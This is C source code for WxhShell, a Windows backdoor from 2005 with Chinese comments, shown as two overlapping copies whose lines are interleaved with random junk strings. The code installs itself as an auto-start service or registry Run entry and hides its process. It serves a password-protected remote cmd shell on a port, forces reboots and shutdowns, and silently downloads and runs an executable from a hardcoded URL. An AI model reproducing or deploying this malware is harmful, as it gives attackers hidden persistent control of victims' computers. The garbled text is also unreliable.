,"EnumProcessModules"); VuhGx:Xl g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *KZYv=s,u NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =V,mtT =t#llgi~ if (!NtQueryInformationProcess) return 0; 'NXN& { ?/wm (uL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [64:4/<} if(!hProcess) return 0; 'Vzp2 '1P2$# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Ny9'g>? 9N#_(uwt CloseHandle(hProcess); 0rQMLx E<{R.r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <.x{|p if(hProcess==NULL) return 0; Thp[+KP> p,5i)nEFj HMODULE hMod; Go`vfm"S char procName[255]; e8>}) unsigned long cbNeeded; 1E[J%Rh\l ,uSMQS-O'4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oA7tEu n$MO4s8) CloseHandle(hProcess); YFLZ %( s[RAHU if(strstr(procName,"services")) return 1; // 以服务启动 :T^a&)aL% |IeTqEu9 return 0; // 注册表启动 7Kr*P<-G } {g'(~ qv c?(4t67| // 主模块 ^H p; .f. int StartWxhshell(LPSTR lpCmdLine) @N>\|!1CC { "(3[+W{| SOCKET wsl; Q,,e+exbb5 BOOL val=TRUE; i^/T int port=0; bQzZy5, struct sockaddr_in door; 1jmjg~W JK7G/]j+Ez if(wscfg.ws_autoins) Install(); EKYY6S2 P>y@kPi port=atoi(lpCmdLine); :(E@Gf 5N#aXG^9 if(port<=0) port=wscfg.ws_port; A]_7}<<N NlA,'`, WSADATA data; oM
X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E+j/Cu +C^nO=[E if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z\(q@3 C setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {X!r8i door.sin_family = AF_INET; $f$SNx)), door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yj<a"
Gr4[ door.sin_port = htons(port); k90YV( iOf<$f if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $H2u.U<ip closesocket(wsl); *l(7D(# return 1; WJ]T\DI } *[Imn\hu H9Gh>u]} if(listen(wsl,2) == INVALID_SOCKET) { RF?`vRZOe closesocket(wsl); sbfuzpg]* return 1; O0*p0J } F;Spi Wxhshell(wsl); ` _6C{<O WSACleanup(); H-!,yte 9sM!`Lz{ return 0; (=FRmdeYl1 .o6Or:L } I:-Wy"i P7ao5NP // 以NT服务方式启动 3#n_?- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O"+gQXe { ,=uD^n: DWORD status = 0; mn'A9er DWORD specificError = 0xfffffff; c rQ8q;: K,tQ!kk serviceStatus.dwServiceType = SERVICE_WIN32; PioZIb/{ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]HbY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; av(6wht8 serviceStatus.dwWin32ExitCode = 0; 3RUy,s serviceStatus.dwServiceSpecificExitCode = 0;
>^O7 serviceStatus.dwCheckPoint = 0; \Zb;'eDv serviceStatus.dwWaitHint = 0; ImA @}: pj8=wc h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iR HQ:Y! if (hServiceStatusHandle==0) return; b;L\EB ~kV/!= status = GetLastError(); Mg+2.
8% if (status!=NO_ERROR) A_rGt?i { i[i4h"$0 serviceStatus.dwCurrentState = SERVICE_STOPPED; 8u"U1 serviceStatus.dwCheckPoint = 0; W
PC]%:L" serviceStatus.dwWaitHint = 0; .zf~.R;> serviceStatus.dwWin32ExitCode = status; gZVc 5u< serviceStatus.dwServiceSpecificExitCode = specificError; &L3M] SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]|#+zx|/D return; "BAK !N$9 } g9OY<w5s] BqEI(c6 serviceStatus.dwCurrentState = SERVICE_RUNNING; r[e##M serviceStatus.dwCheckPoint = 0; (xycJ`N serviceStatus.dwWaitHint = 0; ?C]vS_jAh if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >:SHV W } PhLn8jNti OUE(I3_ // 处理NT服务事件,比如:启动、停止 REQ\>UO_ VOID WINAPI NTServiceHandler(DWORD fdwControl) iG$!6;w< { XMZ,Y7 switch(fdwControl) {.`vs;U { @?ebuj5{e case SERVICE_CONTROL_STOP: ]IaMp788 serviceStatus.dwWin32ExitCode = 0; ~"gA,e-) serviceStatus.dwCurrentState = SERVICE_STOPPED; rV.}PtcFY serviceStatus.dwCheckPoint = 0; ` #0:gEo serviceStatus.dwWaitHint = 0; ;J'LS { 1> ?M>vK SetServiceStatus(hServiceStatusHandle, &serviceStatus); n>z9K') } xl{=Y< ; return; 5#6|j?_a case SERVICE_CONTROL_PAUSE: :x3QRF serviceStatus.dwCurrentState = SERVICE_PAUSED; t}_r]E,{u break; <(#(hDwy case SERVICE_CONTROL_CONTINUE: 0J*??g-n serviceStatus.dwCurrentState = SERVICE_RUNNING; *YI98 break; yHYsZ,GE case SERVICE_CONTROL_INTERROGATE: `K"L /I9 break; v4<nI;Ux }; \Dm";Ay> SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ 6\I~s( } Q) #B0NA;T SZ7:u895E // 标准应用程序主函数 ME$[=?7XX int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {'flJ5] { P.se'z)E rCEyQ)R_} // 获取操作系统版本 !"AvY y9 OsIsNt=GetOsVer(); m~BAyk^jo3 GetModuleFileName(NULL,ExeFile,MAX_PATH); TJd)K$O> .D~;u-%|F // 从命令行安装 fy1|$d{' if(strpbrk(lpCmdLine,"iI")) Install(); Mc
lkEfn W_293["lS // 下载执行文件 S)(.,x if(wscfg.ws_downexe) { Ng&%o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -
nm"of\o WinExec(wscfg.ws_filenam,SW_HIDE); 2YL?,uLS } +bxYGD KRbvj if(!OsIsNt) { 1y&\5kB // 如果时win9x,隐藏进程并且设置为注册表启动 >dXGee>'M HideProc(); e)IzQ7Zex StartWxhshell(lpCmdLine); 2y\E[j A } _rMg}F" else b#c:u2 if(StartFromService()) &N9
a<w8+ // 以服务方式启动 zC:ASt StartServiceCtrlDispatcher(DispatchTable); b)#hSjWO# else -:^U_FL8un // 普通方式启动 n)/z0n!\ StartWxhshell(lpCmdLine); ZmqKQO wVXS%4|v return 0; &<g|gsG` } Jumgb &;6`)M{*} 1UgEI"#a6g `cn#B
BV =========================================== 2ACCh4(/P R+:yVi[F]U _%Bi: HG0 =[ 46`-_ z|uDy2 .#!lP/.eQP " Y|m+dT6 jwe *(k]z #include <stdio.h> lgAoJ[ #include <string.h> 5<k"K^0QS #include <windows.h> ~\SGb_2 #include <winsock2.h> OnziG+ak #include <winsvc.h> $p8xEcQdU# #include <urlmon.h> T~?Ff|qFC X #dmo/L8 #pragma comment (lib, "Ws2_32.lib") :k]1Lm|| #pragma comment (lib, "urlmon.lib") h^45,E C @s>Czm5 #define MAX_USER 100 // 最大客户端连接数 N];NAMp #define BUF_SOCK 200 // sock buffer FZQP%]FX #define KEY_BUFF 255 // 输入 buffer r r %V.r;2 G>_*djUf #define REBOOT 0 // 重启 ]#<4vl\ #define SHUTDOWN 1 // 关机 7Die
FZ? eIF5ZPSZi #define DEF_PORT 5000 // 监听端口 ?,Xw[pR je-!4r, #define REG_LEN 16 // 注册表键长度 y1 DL,%j #define SVC_LEN 80 // NT服务名长度 tFn)aa~L + 480 l} // 从dll定义API , pfG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %Xg4b6<9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R{4^t97wH{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #Pau\|e_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uc{Ihw g/_5unI}u // wxhshell配置信息 ~At7 +F[ struct WSCFG { XW H5d-
int ws_port; // 监听端口 I|!OY`ko char ws_passstr[REG_LEN]; // 口令 hag$GX'2k int ws_autoins; // 安装标记, 1=yes 0=no c]-<vkpV char ws_regname[REG_LEN]; // 注册表键名 Gu,wF(x7A char ws_svcname[REG_LEN]; // 服务名 o[4}h:> dq char ws_svcdisp[SVC_LEN]; // 服务显示名 l4YbK np] char ws_svcdesc[SVC_LEN]; // 服务描述信息 c]<5zyl"j1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0o4XUW int ws_downexe; // 下载执行标记, 1=yes 0=no k'Hs}z eNn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &B;~
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p>N(Typ0b *R,5h2; }; `hm-.@f,9 ?<,l3pwqa // default Wxhshell configuration }K>d+6qk5 struct WSCFG wscfg={DEF_PORT, FUzzB94a "xuhuanlingzhe", zk+9'r`-D 1, aKDKmHd "Wxhshell", 1~FOgk1; "Wxhshell", }&D WaO]J7 "WxhShell Service", {WS;dX4 "Wrsky Windows CmdShell Service", 0> E r=,e "Please Input Your Password: ", rXq.DvQ 1, c#]4awHU "http://www.wrsky.com/wxhshell.exe", ?R
'r4P, "Wxhshell.exe" @4C% +- }; 7z,C}-q G_tCmu\ // 消息定义模块 nW:C/{n2tG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !F-w3
] char *msg_ws_prompt="\n\r? for help\n\r#>"; kH1~k,|\&K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'oVx#w^mf char *msg_ws_ext="\n\rExit."; aO[w/cGQ char *msg_ws_end="\n\rQuit."; # w4-aJ char *msg_ws_boot="\n\rReboot..."; Lb-OsKU char *msg_ws_poff="\n\rShutdown..."; ]5cT cX;Z# char *msg_ws_down="\n\rSave to "; ?UR0:f:}oc }v{LRRi char *msg_ws_err="\n\rErr!"; $wa{~' char *msg_ws_ok="\n\rOK!"; 7EEl+;wK LOYk9m char ExeFile[MAX_PATH]; BOX2O.Pm int nUser = 0; 2pCaX\t HANDLE handles[MAX_USER]; Rv>-4@fMJ int OsIsNt; Q{>k1$fkV Yh7t"=o SERVICE_STATUS serviceStatus; KF}hV9IU SERVICE_STATUS_HANDLE hServiceStatusHandle; Dy&i&5E.-l = svN#q5s // 函数声明 lVa%$F{Pq int Install(void); j;r-NCBnz int Uninstall(void); {Xy5pfW
Q int DownloadFile(char *sURL, SOCKET wsh); 4_lrg|X1 int Boot(int flag); >'$Mp < void HideProc(void); Y@iS_lR int GetOsVer(void); N~gzDQ3 int Wxhshell(SOCKET wsl); tOD6&< void TalkWithClient(void *cs); 3}1u\(Mf int CmdShell(SOCKET sock); pki%vRY int StartFromService(void); BlO<PMmhT& int StartWxhshell(LPSTR lpCmdLine); .{^5X)
^\% (,KNo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8,%^
M9zBP VOID WINAPI NTServiceHandler( DWORD fdwControl ); N"R]Yp;j wlvgg // 数据结构和表定义 @HC Vmg: SERVICE_TABLE_ENTRY DispatchTable[] = ajT*/L!0_ { .P]+? %& {wscfg.ws_svcname, NTServiceMain}, @mBQ?;qlK {NULL, NULL} Y=KT eYW` }; D_7,m%Z: T-L||yE,h // 自我安装 vr l-$ii int Install(void) u=s p`%? { Or+U@vAnk char svExeFile[MAX_PATH]; _[3D HKEY key; }X6m:#6 strcpy(svExeFile,ExeFile); $%Kfq[Q +\A,&;!SR // 如果是win9x系统,修改注册表设为自启动 3hH<T.@) if(!OsIsNt) { rlLMT6r.8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C!!M%P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 "sSo j RegCloseKey(key); B9 uoVcW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yyJf%{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !.gIHY RegCloseKey(key); ^CX6&d return 0; G` A4|+W" } !pW0qX\1n } \\qZl)P_ } 59A}}.@?m else { )akoa,#%6c LL!Dx%JZ // 如果是NT以上系统,安装为系统服务 7}>E J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ki!0^t:9 if (schSCManager!=0) t*u:hex { +6\Zj) SC_HANDLE schService = CreateService n\53w h@+ ( 4VSU8tK|N] schSCManager, Sm|6 %3 wscfg.ws_svcname, CCx&7f wscfg.ws_svcdisp, 9A=,E& SERVICE_ALL_ACCESS, >bW#Zs,6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `^&OF uee SERVICE_AUTO_START, eauF~md, SERVICE_ERROR_NORMAL, R 9\*#c svExeFile, %u'ukcL7 NULL, _D tV NULL, QWYJ* NULL, HZge!Yp< NULL, iBaA9 NULL '=pU^Oz<} ); i_%_ x* if (schService!=0) W6Fo6a"< { 7.oM J CloseServiceHandle(schService); 7<R E_/] CloseServiceHandle(schSCManager); 77Dn97l)& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0=YI@@n) strcat(svExeFile,wscfg.ws_svcname); fJg+ Ryo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n[rCQdM&U" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]f_p8?j" RegCloseKey(key); mfr|:i return 0; !a\^Sk
/ } gbA_DZ } [/r(__. CloseServiceHandle(schSCManager); ^2rN>k,? } /n&&Um\ } jP.dDYc 5 qA' return 1; (bS&D/N. } gSj,E8-g
YmG("z // 自我卸载 SpBy3wd int Uninstall(void) #'`{Qv0,
{ R=?[Nz HKEY key; Mtx 4'WZ .}+}8[p4l if(!OsIsNt) { yHaGkm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #'}*dy/ RegDeleteValue(key,wscfg.ws_regname); {!`6zBsP RegCloseKey(key); EU#^7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |.dRily+ RegDeleteValue(key,wscfg.ws_regname); 7tp36 TE RegCloseKey(key); ]4e;RV-B return 0; /-s6<e! } zQ PQ } =_^X3z0 } K=&>t6s< else { k5)om;.w RnN!2K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -?a 26o%e if (schSCManager!=0) <UCl@5g& { %iB,IEw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j<$2hiI/?& if (schService!=0) h+,@G,|D { 7>RY/O;Z, if(DeleteService(schService)!=0) { 5V-I1B& CloseServiceHandle(schService); [F7hu7zY8 CloseServiceHandle(schSCManager); uAk.@nfiEv return 0; $[|mGae } PvL[e"p CloseServiceHandle(schService); 6u%&<")4HP } ~J]qP #C CloseServiceHandle(schSCManager); <3
uNl } A}!J$V:w] } PY'2h4IL gM]:Ma return 1; 1;iUWU1@ } (k P9hcV ^z\cyT%7t // 从指定url下载文件 OrW int DownloadFile(char *sURL, SOCKET wsh) JGZBL{8 { @6]JIJE HRESULT hr; `0svy} char seps[]= "/"; [>9is=>o. char *token; &&%H%9 char *file; Fzcwy V
char myURL[MAX_PATH]; ?A0)L27UE& char myFILE[MAX_PATH];
b2*TgnRq iRBfx strcpy(myURL,sURL); 7$#u token=strtok(myURL,seps); ^f@=:eWI while(token!=NULL) {h4E8.E { I 6O file=token; VaPG-n>Vf token=strtok(NULL,seps); R-14=|7a- } r|Z{-*` ?4uL-z](V GetCurrentDirectory(MAX_PATH,myFILE); sRfcF`7 strcat(myFILE, "\\"); 3gzXbP, strcat(myFILE, file); qSQ~D(tO send(wsh,myFILE,strlen(myFILE),0); k=^xVQuI send(wsh,"...",3,0); ! P4*+')M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [ hsds\ if(hr==S_OK) qP;OaM
CX return 0; f
mGc^d|= else !9x} return 1; h];I{crh AwN!;t_0+N } L(\cH b9` ce(#2o&` // 系统电源模块 pk~WrqK} int Boot(int flag) TC"<g { mc3"`+o HANDLE hToken; "#48% -'x TOKEN_PRIVILEGES tkp; \v/[6&|X0s I@3MO0V^ if(OsIsNt) { +|rj4j)L&' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F[0]/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W9)&!&<o tkp.PrivilegeCount = 1; 8i pez/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D,6:EV"sa AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E_`=7i if(flag==REBOOT) { fR|A(u#9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3CJwj return 0; %$mA03[MQ } c%&>p|| else { %3rP`A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c9Yrw^ return 0; yHGADH0B } O@P"MXEG } j39wA~K else { qb4z
T if(flag==REBOOT) { U6VKMxSJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h$*!8=M return 0; W4N{S.#! } _Y!IEAU/# else { y)pk6d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }M+7T\J! return 0; M?qy(zb } $u.z*b_yy } D]}G.v1 {8OCXus3m return 1; M}Sv8D]I } "oD[v 36NpfTW // win9x进程隐藏模块 v:U-6W_)| void HideProc(void) #`IN`m|
{ MJvp6n Vc2`b3"Br HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m2o0y++TjW if ( hKernel != NULL ) ]tD]Wx% { SdWV3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &o*A{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :r[`.` FreeLibrary(hKernel); wbHb;] } TNth +0~YP*I`/ return;
grYe&(`X } G?ZXWu. weQ_*<5% // 获取操作系统版本 8RX&k int GetOsVer(void) uS-|wYE { 2?5>o!C OSVERSIONINFO winfo; q@qsp&0/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "#] $r GetVersionEx(&winfo); :0ep(<|; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +H.`MZ= return 1; ]A"h&`Cvt else ;]iRk return 0; -%~4W? } M{\I8oOg [~
fraK,) // 客户端句柄模块 R@0R`Zs int Wxhshell(SOCKET wsl) p[-O( 3Y { G"6 !{4g SOCKET wsh; O}P`P'Y|' struct sockaddr_in client; *fdTpXa DWORD myID; ~BF&rx5Q j6YOKJX while(nUser<MAX_USER) ;,TFr}p` { \8
":]EU int nSize=sizeof(client); Kgv T"s. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %$I;{-LD if(wsh==INVALID_SOCKET) return 1; rUl+ g\U-VZ6;p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -12U4h<e if(handles[nUser]==0) a}d@
T closesocket(wsh); d1*<Ll9K else ebq4g387X nUser++; ;*N5Y}?j' } ),)lzN%! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2T1q?L?] mR~&)QBP. return 0; .6> w'F{> } 92c HwWZ! T+$[eWk"a // 关闭 socket D@KlOU{< void CloseIt(SOCKET wsh) B1gR5p 0 { E@\e$?*X closesocket(wsh); LscGTs, nUser--; GB^B r6 ExitThread(0); 9$Y=orpWxr } 83m3OD_y ~>G^=0LT // 客户端请求句柄 @d_M@\r=j void TalkWithClient(void *cs) KXrjqqXs { Z,=1buSz_ Y@v>FlqI{ SOCKET wsh=(SOCKET)cs; YQ}o?Q$z char pwd[SVC_LEN]; Fcx&hj1gQ char cmd[KEY_BUFF]; .X&9Q9T=# char chr[1]; ^pS~Z~[d/ int i,j;
jo7\`#(Q t:S+%u U while (nUser < MAX_USER) { LP-o8c =AT."$r>
if(wscfg.ws_passstr) { So6x"1B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IgzQr > //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3R/bz0 V> //ZeroMemory(pwd,KEY_BUFF); Zfw,7am/ i=0; KoRV%@I while(i<SVC_LEN) { \*da6Am F{wzB // 设置超时 7=uj2.J6 fd_set FdRead; iCoX&"lb struct timeval TimeOut; "tZe>>I FD_ZERO(&FdRead); e.%nRhSs3 FD_SET(wsh,&FdRead); 8|^7ai[am TimeOut.tv_sec=8; WxDh;*am: TimeOut.tv_usec=0; AX INThJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]|@^1we if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JJnH%Q <q836]aaA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XZf$K _F&M pwd=chr[0]; jdN`mosJ if(chr[0]==0xd || chr[0]==0xa) { YUb_y^B^ pwd=0; T|$H#n} break; *a)n62 } ,6/V"kqIP i++; TC('H[
] } #mT"gs 5-V pJ // 如果是非法用户,关闭 socket - LSWmrj if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LeQjvW9y } "Q<MS'a VTM/hJmwJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FmW(CGs send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~u{uZ(~ SM'|+ d while(1) { bcyzhK= do_[& ZeroMemory(cmd,KEY_BUFF); 3$tdwe$S |)&%A%m // 自动支持客户端 telnet标准 GyIV
Hby j=0; #cJ@uqR while(j<KEY_BUFF) { 7$b1<.WX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H\
% 7% cmd[j]=chr[0]; 6863xOv{T if(chr[0]==0xa || chr[0]==0xd) { 1oS/`) cmd[j]=0; h8P)%p break; M}a6Vu9 } 3]>| i j++; 0sqFF[i } >z03{=sAN ]]mJ']l // 下载文件 qM`}{
/i if(strstr(cmd,"http://")) { 9x8fhAy}4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q8NX)R if(DownloadFile(cmd,wsh)) QZs!{sZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0[`^\Mv4y else Y73C5.dNcE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s1rCpzK0 } pRqx`5 } else { .8R@2c`}Cs `A >@]d switch(cmd[0]) { 6<]lW zda 3
,U2o // 帮助 UZMd~| case '?': { uT{q9=w send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uD'6mk* break; n]9$:aLZ } s*[bFJwN // 安装 8Wx=p#_ case 'i': { %;_MGae if(Install()) UpG~[u)%@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); :]KAkhFkbb else L#J1b!D&<6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fl(wV.Je| break; \Z/@C lCm } s#11FfF` // 卸载 *T/']t case 'r': { Wc#24:OKe3 if(Uninstall()) +2{Lh7Ks send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6t$8M[0-U else qna8|3eP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nc`L;CP break; L_T5nD^D }
)2.Si# // 显示 wxhshell 所在路径 DI>s-7 case 'p': { e=
AKD# char svExeFile[MAX_PATH]; yAt^; strcpy(svExeFile,"\n\r"); +whDU2 " strcat(svExeFile,ExeFile); q1,~ send(wsh,svExeFile,strlen(svExeFile),0); fu5=k:/c break; A&VG~r$ } KPF1cJ2N // 重启 w>gYx(8b case 'b': { xpt:BBo send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sc0w.5m6 if(Boot(REBOOT)) (HVGlw'` send(wsh,msg_ws_err,strlen(msg_ws_err),0); X8|, else { DVA:Cmh\ closesocket(wsh); :>
'+"M2r ExitThread(0); ;I}fBZ3
} $i&zex{\ break; uFE)17E } CZ;6@{ o // 关机 C]6O!Pb0 case 'd': { )e{aN+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hka2 if(Boot(SHUTDOWN)) L,\Iasv send(wsh,msg_ws_err,strlen(msg_ws_err),0); (>Em^(& else { I,tud!p` closesocket(wsh); {FkF ExitThread(0); ^W^OfY } /wp6KXm break; `3pW]&
} 'DR!9De // 获取shell eFgA 8kY) case 's': { ^[[P*NX3 CmdShell(wsh); 7! Nsm closesocket(wsh); It(_v ExitThread(0); #"!<W0 break; TH;hO).u } TOt dUO // 退出 &
21%zPm case 'x': { By|4m send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .Mbz3;i0 CloseIt(wsh); ?< +WG/(d break; @{Q4^'K" } S[gx{Bxiw // 离开 7#XzrT] case 'q': { {c'lhUB send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Ze1s02( closesocket(wsh); \e*]Ls#jS WSACleanup(); 0kh6@y3 exit(1); M%HU4pTW#o break; q~3>R=t } ye&;(30Oq } G{}VPcrbC }
"jZ-,P= .#gzP2 [q // 提示信息 MtdG>TzUn if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^q5#ihM } ?s01@f# } [,Gg^*umS `yyG/l return; 6x`t{g]f, } QRUz`|U [0!( xp^ // shell模块句柄 01]f2.5 int CmdShell(SOCKET sock) K-v#.e4 { D*jM1w_` STARTUPINFO si; oJ^P(] dw ZeroMemory(&si,sizeof(si)); Lbgi7|& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wr
4,YQM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XFl6M~ c PROCESS_INFORMATION ProcessInfo; }bxs]?OW> char cmdline[]="cmd"; c 9Mz]1@f CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <'u'#E@"sl return 0; X'ag)|5ot } #qki y29m/i: // 自身启动模式 IGl9g_18 int StartFromService(void) M`_0C38
{ HMXE$d=[ typedef struct *dQSw)R { rI\FI0zIp_ DWORD ExitStatus; _BufO7`. DWORD PebBaseAddress; K(4_a``05 DWORD AffinityMask; 5BIY<B+i DWORD BasePriority; U^PgG|0N ULONG UniqueProcessId; dtDFoETz ULONG InheritedFromUniqueProcessId; VY-EmbkG-t } PROCESS_BASIC_INFORMATION; 6ujWNf I9^x,F"E] PROCNTQSIP NtQueryInformationProcess; &oNAv-m^GD \z$= K static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E.h*g8bXe static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z{q`G wW zLQx%Yg! HANDLE hProcess; 0GL M(JmK PROCESS_BASIC_INFORMATION pbi; tQVVhXQ7 ]Ljf?tk HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kh<2BOV if(NULL == hInst ) return 0; y_)FA"IkE 4euO1= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6BlXLQ,8q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T{"(\X$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BT$_@%ea& ib m4fa if (!NtQueryInformationProcess) return 0; 9c],<;{' BtZ yn7a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6)J#OKZ if(!hProcess) return 0; f);FoVa6 [[ZJ]^n, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }H2R3icE e20-h3h+ CloseHandle(hProcess); 3`HV(5U[ xw%0>K[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x-c"%Z| if(hProcess==NULL) return 0; -j(6;9"7]| nN;u,}e HMODULE hMod; G}*hM$F char procName[255]; :k"]5>(^ unsigned long cbNeeded; Dq xs+ s2?&! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L];b<*d Ac6=(B CloseHandle(hProcess); %y@AA>x! g0H[*"hj if(strstr(procName,"services")) return 1; // 以服务启动 